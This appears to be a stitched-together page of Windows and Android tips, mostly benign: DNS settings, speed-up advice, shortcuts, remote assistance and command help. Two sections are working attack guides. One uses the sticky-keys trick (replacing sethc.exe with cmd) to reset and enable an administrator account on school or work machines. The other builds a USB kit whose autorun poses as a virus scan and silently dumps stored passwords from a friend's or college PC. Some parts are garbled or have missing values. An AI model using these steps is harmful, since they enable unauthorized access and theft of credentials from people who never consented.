You can shut down any computer on your network using the shutdown/i command. This will show you the remote shutdown dialog box, which can then be used in order to shut down or restart the computer in question.

14. View Your Computer’s Important Network Information

The ipconfig command can be used in order to view all relevant and important information about your network from the command prompt. This can be done by running the ipconfig/all command that will show you information like IP address, hostname, DHCP server and DNS information.

 We are reproducing the entire image tutorial

How to log in to administrator account on any Windows PC

WARNING: I am NOT responsible for any expulsions or such if you do this at school/work! First, restart your computer.

Once you get to this screen, hold the power button on the computer until it turns off (no damage will be done, trust me).

If you did it correctly, you should get this screen. If you get something like “Windows did not shut down correctly,” try again. Otherwise, select “Launch Startup Repair.”

Let the repair go through. If you get this window, select “Cancel.”

When you get this window, click on “Show problem details.” Scroll down, and click the link on the very bottom. Notepad should pop up.

Go to File/Open, and double-click your “Local Disk” (Mine is D:/ because I have a virtual machine. Yours will probably be C:/).

Go to Windows/System32. Now do EXACTLY as I say, or you MIGHT break the computer. Under “Files of type,” select “All files.” Scroll down and find “cmd,” then make a copy of it in the same folder (Ctrl-C, Ctrl-V). You should get a file named “cmd – Copy” or something like that.

Find “sethc” in the same folder. This file executes sticky keys. Rename it to “sethc 1.”

  1. Rename your “cmd – Copy” to “sethc.” Close notepad, and hit “Finish” to shut down your PC, or just restart it manually.Once you get back to the login screen (where it says “Press Control – Alt – Delete.” Ignore my background, I don’t have that enabled), press “Shift” 5 times to open up the command prompt.
  3. Next, we need to find out what user is the local administrator for this PC. To do this, type “net localgroup Administrators” and look for any administrator that does NOT have your school/work domain in front of it, followed by a “/.” As you can see, one of the admins is named “qwaszx.” You will probably see a name like this, since schools/workspaces tend to make it a random string of letters and/or numbers to ward off people from entering it.
  4. Now, we need to change that account’s password. Type “net user *” and type the new password twice. It will not show what you’re typing, but your keystrokes are being registered. You can now log in to your admin account! However, schools/workspaces also like to disable the admin account you just changed the password for, so you might not be able to log in. There is a simple fix. If you get that message, go to the extra step below.
  5. If the admin account is disabled, type “net user /active:yes” You will now be able to log in.You now have full admin rights to the PC. Enjoy! AGAIN, I AM NOT RESPONSIBLE FOR ANY MISTAKES OR DAMAGES TO THE COMPUTER OR NETWORK. DO AT YOUR OWN RISK!

How to Get Faster Internet Speed Using DNS Hack


There are many ways to get a faster internet speed in Microsoft Windows. Today, I am going to show you a simple DNS hack that can speed up your Web Browsing  dramatically. First, I need to remind you an obvious thing that happens with most of us when we are using a slow internet connection. The only thing we blame is our Internet Service Provider (ISP) for slow internet connection, but this isn’t the only case all the time. Sometimes, the problem lie with our DNS (Domain Name System). So, first let me explain you something about DNS before telling you the method to get a faster internet speed.

What is DNS?

DNS means Domain Name System (Service/Server) is something that converts your domain names into IP addresses.

The domain names are usually alphabetic for us to remember easily, but in actuality the Internet works on IP addresses. The DNS converts the domain name into its corresponding IP address, each time it is used as such. The DNS has a network of its own i.e. one DNS server can ask other DNS servers about translating a specific domain name to its corresponding IP address till it gets the correct result.

Take fossBytes domain name for example: would correspond to IP address:

Computers and other devices make use of IP address to route the traffic and it is very much similar to dialing a phone number. DNS acts as an intelligent operator that bypasses the infinite address book of IP addresses. Your DNS manages this huge task.

How an Alternative DNS Service Will Speed Up Your Browsing?

As I mentioned earlier, your tortoise internet speed isn’t always your Internet Service Provider’s fault, instead it may be your DNS’s fault. So why not use an alternative DNS service? As the present web pages continue to become more and more complex by inculcating innumerable things, so clients go for multiple DNS lookups for rendering one single web page. With the continuous growth in web, the existing DNS infrastructure is under more load each day.

Now I’ll tell you to use a free public DNS service that will tell your computer to use that service instead of using your ISP prescribed service and will help you to get a faster internet speed

Recommended for you: How To Make Mozilla Firefox Faster For Web Browsing

How To Speed Up Web Browsing Using DNS Hack?

To get a faster internet speed, I’ll tell you about free OpenDNS service. OpenDNS is one of the most popular free DNS services that was started to provide an alternative method to those who were discontented with their existing DNS.

By following these simple steps, you can tell your computer to use OpenDNS’s DNS servers instead of the ones your service provider automatically uses:

Step 1:

To get a faster internet speed using OpenDNS, first open Control panel.

Step 2:

Go to Network and Internet options.


Step 3:

Now click on Network and Sharing Center.


Step 4:

Click on your Internet Connection and then click on Properties.


Step 5:

Highlight the Internet Protocol Version 4 (TCP/IPv4) and click on Properties.

Step 6:

Now choose the following DNS server addresses to get a faster internet speed:

  • Preferred DNS server:
  • Alternate DNS server:

You are using OpenDNS’s servers now which helps you to to get a faster internet speed.

To Configure IPv6:

Highlight the Internet Protocol Version 6 (TCP/IPv6) and click on Properties, and choose the following DNS server addresses:

  • Preferred DNS server: 2620:0:ccc::2
  • Alternate DNS server: 2620:0:ccd::2


There are more benefits of OpenDNS other than getting a faster internet speed. Usually if the DNS server of your service provider goes down you become unable to use the internet, but with OpenDNS method, even if the service providers DNS server is down, you can surf the internet normally.

Special thanks to Preston Gralla, founder and chief editor of Case Study Forum and writer of many big blogs who wrote excellent method on “Get a faster internet speed using DNS hack”.

How to capture passwords using USB Drive

Note:This tutorial is only for educational purpose and do this at your own risk. We don’t provide the links of the tools you can Google them and get an updated version of it.

Today I will show you how to capture Passwords using an USB Pen Drive.
As we all know, Windows stores most of the passwords which are used on a daily
basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows
messenger etc.
Along with these, Windows also stores passwords of Outlook Express, SMTP, POP,
FTP accounts and auto-complete passwords of many browsers like IE and Firefox.
There exists many tools for recovering these passwords from their stored places.
Using these tools and an USB pen drive you can create your own root kit to capture
passwords from your friend’s/college Computer.

We need the following tools to create our root kit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs:
MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL
Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook
Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook
2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape
Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail,
Yahoo!, G-mail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by
Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as
older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected
Storage, including the Auto Complete passwords of Internet Explorer, passwords of
Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: Password Fox is a small password recovery tool that allows you to view
the user names and passwords stored by Mozilla Firefox Web browser. By default,
PasswordFox displays the passwords stored in your current profile, but you can easily
select to watch the passwords of any other Firefox profile. For each password entry,
the following information is displayed: Record Index, Web Site, User Name,
Password, User Name Field, Password Field, and the Signons file name.

Here is a step by step procedure to create the password toolkit:

NOTE: You must temporarily disable your antivirus before following these steps.

Download all the 5 tools, extract them and copy only the executables(.exe files)
into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe
into your USB Drive.
Create a new Notepad and write the following text into it:
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy theautorun.inf file onto your USB pendrive.
Create another Notepad and write the following text onto it:
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat


Configuration file yake ipo hivi ukifungua launch.bat file lakini tools zake hazijakamilika




    ACTION= Perform a Virus Scan


    save this as AUTORUN.inf

    open a new notepad/wordpad document



 start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

 start PasswordFox.exe /stext passwordfox.txt

start OperaPassView.exe /stext OperaPassView.txt

 start ChromePass.exe /stext ChromePass.txt

start Dialupass.exe /stext Dialupass.txt

 start netpass.exe /stext netpass.txt

start WirelessKeyView.exe /stext WirelessKeyView.txt

 start BulletsPassView.exe /stext BulletsPassView.txt

start VNCPassView.exe /stext VNCPassView.txt

start OpenedFilesView.exe /stext OpenedFilesView.txt

 start ProduKey.exe /stext ProduKey.txt

start USBDeview.exe /stext USBDeview.txt
Copy the launch.bat file also to your USB drive.
Now your root kit is ready and you are all set to capture the passwords. You can use this
pendrive on your friend’s PC or on your college computer. Just follow these steps

Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
In the pop-up window, select the first option (Perform a Virus Scan).
Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This works on Windows 2000, XP,Vista and 7

NOTE: This procedure will only recover the stored passwords (if any) on the
Computer.This tutorial is only for educational purpose and do this at your own risk


  •  open notepad/wordpadtype:[autorun]
    ACTION= Perform a Virus Scansave this as AUTORUN.inf
  • open a new notepad/wordpad documenttype:start mspass.exe /stext mspass.txtstart mailpv.exe /stext mailpv.txtstart iepv.exe /stext iepv.txtstart pspv.exe /stext pspv.txtstart PasswordFox.exe /stext passwordfox.txtstart OperaPassView.exe /stext OperaPassView.txtstart ChromePass.exe /stext ChromePass.txtstart Dialupass.exe /stext Dialupass.txtstart netpass.exe /stext netpass.txtstart WirelessKeyView.exe /stext WirelessKeyView.txtstart BulletsPassView.exe /stext BulletsPassView.txtstart VNCPassView.exe /stext VNCPassView.txtstart OpenedFilesView.exe /stext OpenedFilesView.txtstart ProduKey.exe /stext ProduKey.txtstart USBDeview.exe /stext USBDeview.txtsave this as LAUNCH.bat
  • copy the autorun and launch file to your USB
  • go to and download the programs named in step 2
  • extract the files you downloaded to your desktop and copy all the .exe files to your USB
  • remove and re-insert your USB
  • click on the option perform a virus scan
    (this is an exemple, if you want it to say something else go to the autorun file and change it 😉 )
  • go to my computer—> USB DRIVE and open ityou will now see some text files, if you open them you will see usernames and passwordsNOTICE: this only recovers passwords that have once been saved on your computer

 @echo off


pushd “%~dp0”
color 1f

if exist 7za.exe 7za e -y *.*
if exist 7za.exe 7za e -y *.* -pnirsoft123!

echo Getting passwords…
for /F “tokens=1-2 delims=: ” %%l in (‘time /t’) do set hhmm=%%l%%m
set r=”%computername%_%username%_%date:/=%_%hhmm%”
mkdir %r% > nul
start /wait BulletsPassView.exe     /stext %r%\Bullets.txt
start /wait Chromepass.exe          /stext %r%\Chrome.txt
start /wait dialupass.exe           /stext %r%\dialup.txt
start /wait iepv.exe                /stext %r%\IE.txt
start /wait mailpv.exe              /stext %r%\Mail.txt
start /wait mspass.exe              /stext %r%\MS.txt
start /wait netpass.exe             /stext %r%\Net.txt
start /wait OperaPassView.exe       /stext %r%\Opera.txt
start /wait PasswordFox.exe         /stext %r%\Fox.txt
start /wait pstpassword.exe         /stext %r%\Pstpassword.txt
start /wait routerpassview.exe      /stext %r%\router.txt
start /wait VNCPassview.exe         /stext %r%\VNC.txt
start /wait WebBrowserPassView.exe  /stext %r%\Browser.txt
start /wait WirelessKeyView.exe     /stext %r%\WiFi.txt
REM delete 0 length or empty log files
FOR /F %%G IN (‘DIR /b %r%\*.txt’) do call :DELZ %r%\%%G
dir  %r%\*.txt | find /I “.txt”

if exist 7za.exe ren 7za.exe 7za.x
del *.exe
if exist 7za.x ren 7za.x 7za.exe

del *.chm

goto :EOF
REM if size of file is less than 3 bytes then delete it
if %~z1 LEQ 2 del “%~f1”


We all know that sinking feeling when your computer decides to slow down and barely function for no real reason.

Why is my computer so slow?  There are several reasons why your computer might not be running at it’s optimal speed. Let’s start with what you’ve got running in the background…have a quick look, how many applications do you have open, how many internet windows do you have open? Now, are all of them really necessary? If the answer is no to any of them close them, don’t just x out the window, exit out of the software. Obviously that’s not going to fix the issue completely, but there are it’s a start. The good news is there are a even more easy things you can do to keep your computer healthy and happy, and running at top speed.

Here are just a few tips on how to get it back up to speed

  1. Uninstall unused programs
  2. Automatically delete temporary files
  3. Additional storage
  4. Update your software
  5. Delete files you don’t need.
  6. Remove gadgets you don’t use
  7. Run a Disk Cleanup.
  8. Run a Disk Defragment.
  9. Check for any disk errors
  10. Use anti Virus Software

Uninstall unused programs

Similar to the way temporary files can clog up the speed of your computer, unused programs can as well. Be honest with yourself, when was the last time you used iBooks or Keynote? In fact, there are probably a slew of programs on your computer that you aren’t even aware of! If you don’t use it, get rid of it. To remove these programs, access the ‘Control Panel>Programs and Features’, scroll through until you come to a software application you no longer require, typically each application should sit next to it’s uninstall icon. Click on it and follow the instructions to remove that piece of software from your computer.

Automatically delete temporary files

Temporary files are collected and housed on your hard disk. When you get a build up of these, they can slow your computer down quite dramatically. Just think about how every click, every web page you visit all add up, and what that means for the number of temporary files you’re asking your computer to store. These are easily cleared by going to your ‘Hard Drive’ or ‘My Computer’ and access the ‘Temp’ folder. Anything that’s older than today’s date is safe to delete from the ‘Temp’ folder. Make sure you empty your ‘Recycle Bin’ afterwards as well

Additional storage

Check on your hard drive and it’s storage capacity every once in a while, if becomes 85% full, your computer’s speed will be affected for the worst. If you use your computer often for large files, such as downloading movies etc, you might want to consider purchasing an additional hard drive for storage.

Update your software

Do you ignore the alert telling you to update iTunes and Microsoft Office? You shouldn’t! These updates offer improvements to the current version of software you are operating. The new available updates may fix your problem, so always ensure you update when given the chance.   Follow these tips and you should get at least 60-100% more of your computer’s speed back!

Delete files you don’t need.

Unless you have very little storage space on your computer or simply have an abundance of unnecessary documents, deleting small files won’t make much of an impact on your computer’s overall function. However, any large files like movies you never watch, photos you don’t need, or songs you never listen to can really gum up the works and should definitely be removed.

  • Don’t forget to empty your trash bin.

Remove gadgets you don’t use

All gadgets that are running slow down your computer.

Run a Disk Cleanup.

This can clean up hundreds of megabytes of temporary files – sometimes even gigabytes (if you have Windows XP, Vista, or 7). It will also open a window in which you can chose what to delete. Go to My Computer, right-click the Hard Drive and select Properties, and then click Disc Cleanup (within the General tab). Check all the boxes except for the game files and setup files.

Run a Disk Defragment.

This will reconfigure the way the hard drive stores information for maximum efficiency. Go to My Computer, right-click the Hard Driveand select Properties, then go to the Tools tab and click Defragment Now.

Check for any disk errors

These will also slow your computer down. Go to My Computer, right-click the Hard Drive and select Properties, then go to the Toolstab and click Check Now under the Error-Checking area. When the dialogue box opens, check both boxes.

  • If you get a window saying that Windows can’t check the disk while it’s in use, click on Schedule Disk Checkand then OK. It will run on your next reboot.

Use anti virus software

Use anti virus software to prevent you from virus attack. This will help you from making you computer run fast . I strongly recommend you to use Avast anti virus software Its the best software for antivirus




100 Known and Unknown Windows shortcuts.
CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
Delete (Delete)
Shift+Delete (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+Shift while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+Shift with any of the arrow keys (Highlight a block of text)
Shift with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
Alt+Enter (View the properties for the selected item)
Alt+F4 (Close the active item, or quit the active program)
Alt+Enter (Display the properties of the selected object)
Alt+Spacebar (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
Alt+Tab (Switch between the open items)
Alt+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
Shift+F10 (Display the shortcut menu for the selected item)
Alt+Spacebar (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
Alt+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)
Backspace (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
Shift when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Shortcuts
CTRL+Tab (Move forward through the tabs)
CTRL+Shift+Tab (Move backward through the tabs)
Tab (Move forward through the options)
Shift+Tab (Move backward through the options)
Alt+Underlined letter (Perform the corresponding command or select the corresponding option)
Enter (Perform the command for the active option or button)
Spacebar (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
F4 key (Display the items in the active list)
Backspace (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Win (Display or hide the Start menu)
Win+BREAK (Display the System Properties dialog box)
Win+D (Display the desktop)
Win+M (Minimize all of the windows)
Win+Shift+M (Restore the minimized windows)
Win+E (Open My Computer)
Win+F (Search for a file or a folder)
CTRL+Win+F (Search for computers)
Win+F1 (Display Windows Help)
Win+ L (Lock the keyboard)
Win+R (Open the Run dialog box)
Win+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right Shift for eight seconds (Switch FilterKeys either on or off)
Left Alt+left Shift+PRINT SCREEN (Switch High Contrast either on or off)
Left Alt+left Shift+NUM LOCK (Switch the MouseKeys either on or off)
Shift five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Win +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+* (Display all of the subfolders that are under the selected folder)
NUM LOCK++ (Display the contents of the selected folder)
NUM LOCK+- (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys For Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
Spacebar (Switch between Enlarged and Nor mal mode when a character is selected)
Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Close window/tab)
F5 key (Update the content of all console windows)
Alt+Spacebar (Display the MMC window menu)
Alt+F4 (Close the console)
Alt+A (Display the Action menu)
Alt+V (Display the View menu)
Alt+F (Display the File menu)
Alt+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
Alt+- (Display the window menu for the active console window)
Shift+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
Alt+Enter (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+Alt+END (Open the m*cro$oft Windows NT Security dialog box)
Alt+PAGE UP (Switch between programs from left to right)
Alt+PAGE DOWN (Switch between programs from right to left)
Alt+INSERT (Cycle through the programs in most recently used order)
Alt+HOME (Display the Start menu)
CTRL+Alt+BREAK (Switch the client computer between a window and a full screen)
Alt+Delete (Display the Windows menu)
CTRL+Alt+- (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+Alt++ (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt+PRINT SCREEN on a local computer.)
Internet Explorer Navigation
CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)


Remote Screen sharing and conroling in windows without any software

Remote sharing is nowadays on its peak, people use remote sharing to provide live support or for sharing screens. Most of us always use third party software’s for sharing or controlling remote systems using software’s like Teamviewer or Radmin etc.  Today i am going to teach you guys how to connect any two or as many as windows PC through remote without using any third party tool like team viewer etc. So lets learn how to share screens without any third party tool.As we all knows Windows OS is  full of hidden programs that are only limited to developer or geeks. Today we are going to learn about MSRA (windows remote assistance) executable. MSRA is windows inbuilt remote assistance program using which you can control remote pc’s, share remote screens, provide remote support and much more. Lets learn how to use MSRA for remote sharing.

Steps to Share or Control Remote PC using MSRA:

1. First of all click on startup and type command “MSRA” and press enter as shown below:


2. Now you will see screen like below having title “Windows Remote Assistance” , there are two options displayed:

  • Invite someone you trust to help you : Choose this option if you want to share your screen with someone.
  • Help someone who invited you : Choose this option if you want to control someone others PC remotely.

Click on Option a “Invite someone you trust to help you” to share your screen:


Select shown option to continue

Once you click the above option then you will see below panel with multiple options:


Options displayed for Windows remote assistance

Now you can see three different options :

  • Send this invitation as file : On clicking this option you can save the invitation file and send it to anyone from which you require help. After saving the file another window will open containing the password. You have to provide that password to person whom you want to connect to your machine.
  • Use email to send an invitation: You can send invitation directly via email but it requires email client on your machine to send email like outlook etc.
  • Use Easy connect: Another method to directly connect two PC is using Easy connect but this require some basic settings at your routers end i.e. If the computer has IPv6 disabled or is behind a NAT router that blocks Teredo traffic, the Easy Connect option will be unavailable.

Now once you have send the  remote assistance invitation file to user, he can connect to your PC by double clicking the invitation file and then entering the password.

Note: You need to enable remote assistance service.

3. Help someone who invited you : By clicking this option you can provide help to anyone who has done the above task. You will need two things : Invitation file and password to connect remote PC.

Woohooo… Did you know there is another smart option by which you can directly connect to any PC using IP address? If not, well lets learn that too. Yup we can also provide windows remote assistance support using IP address too. Here are options.

1. First of all click on startup and type command “MSRA” and press enter.
2. Now you will see screen where two options are displayed, Select “Help someone who invited you”.
3. After that you will see some option, click on the bottom one “Advanced connection option for help desk” as shown below :


Select advanced connection option for help desk

After clicking option you see below panel to enter IP address:


Enter IP address or computer name

After entering IP address press Next to connect to IP address. That’s all.
Hope you all enjoyed the learning. If you have any queries ask me in form of comments.



the account name of your friend
then your message
eg msg Emanuel yohoo



Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.



C:\>netsh int tcp show global
Querying active state…

TCP Global Parameters
Receive-Side Scaling State : enabled
Chimney Offload State : disabled
NetDMA State : disabled
Direct Cache Access (DCA) : disabled
Receive Window Auto-Tuning Level : normal
Add-On Congestion Control Provider : none
ECN Capability : disabled
RFC 1323 Timestamps : disabled
Initial RTO : 3000
Receive Segment Coalescing State : disabled
Non Sack Rtt Resiliency : disabled
Max SYN Retransmissions : 2
C:\>netsh int tcp set global chimney=enabled
C:\>netsh int tcp set global autotuning=normal
C:\>netsh int tcp show global
Querying active state…

TCP Global Parameters
Receive-Side Scaling State : enabled
Chimney Offload State : enabled
NetDMA State : disabled
Direct Cache Access (DCA) : disabled
Receive Window Auto-Tuning Level : normal
Add-On Congestion Control Provider : none
ECN Capability : disabled
RFC 1323 Timestamps : disabled
Initial RTO : 3000
Receive Segment Coalescing State : disabled
Non Sack Rtt Resiliency : disabled
Max SYN Retransmissions : 2


1. Complete Information About your Phone  

 This code is used to get some  really interesting information about your phone and battery. It shows following 4 menus on screen:
  • Phone information
  • Battery information
  • Battery history
  • Usage statistics

2. Factory data reset

This code is used for the factory data reset. It’ll remove following things:
  • All the Google account settings stored in your phone
  • System and application data and settings
  • Downloaded applications in your Internal SD!
It’ll NOT remove:
  • Current system software and bundled application
  • SD card files e.g. photos, music files, etc.
Note: Once you give this code, you get a prompt screen asking you to click on “Reset phone” button. So you get a chance to cancel your operation.

3. Format Android Phone


4. Phone Camera Update

This code can be used to get information about phone camera. It displays the follwing 4 menus:
  • Update camera firmware in image (Don’t try this option)
  • Update camera firmware in SD card
  • Get camera firmware version
  • Get firmware update count
WARNING: Never use the first option otherwise your phone camera will stop working and you’ll need to take your phone to service center to reinstall camera firmware.

5. End Call/Power

This one is my favorite one. This code is used to change the “End Call / Power” button action in your phone. By default, if you long press the button, it shows a screen asking you to select any option from Silent mode, AirPlane mode and Power off.
You can change this action using this code. You can enable direct power off on this button so you don’t need to waste your time in selecting the option.

6. File Copy for Creating Backup

This code helps you in opening a File copy screen where you can backup your media files e.g. Images, Sound, Video and Voice memo.

7.  Service Mode

This code can be used to enter into Service mode. You can run various tests and also change settings in the service mode.

8. WLAN, GPS and Bluetooth Test Codes:

*#*#232339#*#* OR *#*#526#*#* OR *#*#528#*#*           – WLAN test
*#*#232338#*#*                  – It Shows WiFi MAC address
*#*#1472365#*#*                – GPS test
*#*#1575#*#*                      – Another GPS test
*#*#232331#*#*                  – Bluetooth test
*#*#232337#*#                    – Shows Bluetooth device address

9. Codes to get Firmware version information:

*#*#4986*2650468#*#* – PDA, Phone, H/W, RFCallDate
*#*#1234#*#* – PDA and Phone
*#*#1111#*#* – FTA SW Version
*#*#2222#*#* – FTA HW Version
*#*#44336#*#* – PDA, Phone, CSC, Build Time, Changelist number

 10. Codes to launch various Factory Tests:

*#*#0283#*#* – Packet Loopback
*#*#0*#*#* – LCD test
*#*#0673#*#* OR *#*#0289#*#* – Melody test
*#*#0842#*#* – Device test (Vibration test and BackLight test)
*#*#2663#*#* – Touch screen version
*#*#2664#*#* – Touch screen test
*#*#0588#*#* – Proximity sensor test
*#*#3264#*#* – RAM version


How to make Mozilla Firefox 30 times faster

1. Type “about:config” into the address bar and hit return. Scroll
down and look for the following entries:
Normally the browser will make one request to a web page at a time.
When you enable pipelining it will make several at once, which really
speeds up page loading.
2. Alter the entries as follows:
Set “network.http.pipelining” to “true”
Set “network.http.proxy.pipelining” to “true”
Set “network.http.pipelining.maxrequests” to some number like 30. This
means it will make 30 requests at once.
3. Lastly right-click anywhere and select New-> Integer.
Name it “nglayout.initialpaint.delay” and set its value to “0”.
This value is the amount of time the browser waits before it acts on information it receives.
If you’re using a broadband connection you’ll load pages 2-30 times faster now.

\\git commands


usage: git [–version] [–help] [-C ] [-c name=value]

[–exec-path[=]] [–html-path] [–man-path] [–info-path]

[-p|–paginate|–no-pager] [–no-replace-objects] [–bare]

[–git-dir=] [–work-tree=] [–namespace=]


The most commonly used git commands are:

   add        Add file contents to the index

 bisect     Find by binary search the change that introduced a bug

branch     List, create, or delete branches

 checkout   Checkout a branch or paths to the working tree

   clone      Clone a repository into a new directory

commit     Record changes to the repository

 diff       Show changes between commits, commit and working tree, etc

   fetch      Download objects and refs from another repository

   grep       Print lines matching a pattern

init       Create an empty Git repository or reinitialize an existing one

   log        Show commit logs

merge      Join two or more development histories together

 mv         Move or rename a file, a directory, or a symlink

 pull       Fetch from and integrate with another repository or a local branch

push       Update remote refs along with associated objects

 rebase     Forward-port local commits to the updated upstream head

reset      Reset current HEAD to the specified state

rm         Remove files from the working tree and from the index

 show       Show various types of objects

status     Show the working tree status

tag        Create, list, delete or verify a tag object signed with GPG

‘git help -a’ and ‘git help -g’ lists available subcommands and some

concept guides. See ‘git help ‘ or ‘git help

to read about a specific subcommand or concept.

\\discpart commands

Copyright (C) 1999-2012 Microsoft Corporation.

On computer: MAGNETOLAB


Microsoft DiskPart version 6.2.9200

ACTIVE – Mark the selected partition as active.

ADD – Add a mirror to a simple volume.

ASSIGN – Assign a drive letter or mount point to the selected volume.

ATTRIBUTES – Manipulate volume or disk attributes.

ATTACH – Attaches a virtual disk file.

AUTOMOUNT – Enable and disable automatic mounting of basic volumes.

BREAK – Break a mirror set.

CLEAN – Clear the configuration information, or all information, off the


COMPACT – Attempts to reduce the physical size of the file.

CONVERT – Convert between different disk formats.

CREATE – Create a volume, partition or virtual disk.

DELETE – Delete an object.

DETAIL – Provide details about an object.

DETACH – Detaches a virtual disk file.

EXIT – Exit DiskPart.

EXTEND – Extend a volume.

EXPAND – Expands the maximum size available on a virtual disk.

FILESYSTEMS – Display current and supported file systems on the volume.

FORMAT – Format the volume or partition.

GPT – Assign attributes to the selected GPT partition.

HELP – Display a list of commands.

IMPORT – Import a disk group.

INACTIVE – Mark the selected partition as inactive.

LIST – Display a list of objects.

MERGE – Merges a child disk with its parents.

ONLINE – Online an object that is currently marked as offline.

OFFLINE – Offline an object that is currently marked as online.

RECOVER – Refreshes the state of all disks in the selected pack.

Attempts recovery on disks in the invalid pack, and

resynchronizes mirrored volumes and RAID5 volumes

that have stale plex or parity data.

REM – Does nothing. This is used to comment scripts.

REMOVE – Remove a drive letter or mount point assignment.

REPAIR – Repair a RAID-5 volume with a failed member.

RESCAN – Rescan the computer looking for disks and volumes.

RETAIN – Place a retained partition under a simple volume.

SAN – Display or set the SAN policy for the currently booted OS.

SELECT – Shift the focus to an object.

SETID – Change the partition type.

SHRINK – Reduce the size of the selected volume.

UNIQUEID – Displays or sets the GUID partition table (GPT) identifier or

master boot record (MBR) signature of a disk.


\\NETSTAT command


Displays protocol statistics and current TCP/IP network connections.

NETSTAT [-a] [-b] [-e] [-f] [-n] [-o] [-p proto] [-r] [-s] [-x] [-t] [interval]

-a Displays all connections and listening ports.

-b Displays the executable involved in creating each connection or

listening port. In some cases well-known executables host

multiple independent components, and in these cases the

sequence of components involved in creating the connection

or listening port is displayed. In this case the executable

name is in [] at the bottom, on top is the component it called,

and so forth until TCP/IP was reached. Note that this option

can be time-consuming and will fail unless you have sufficient


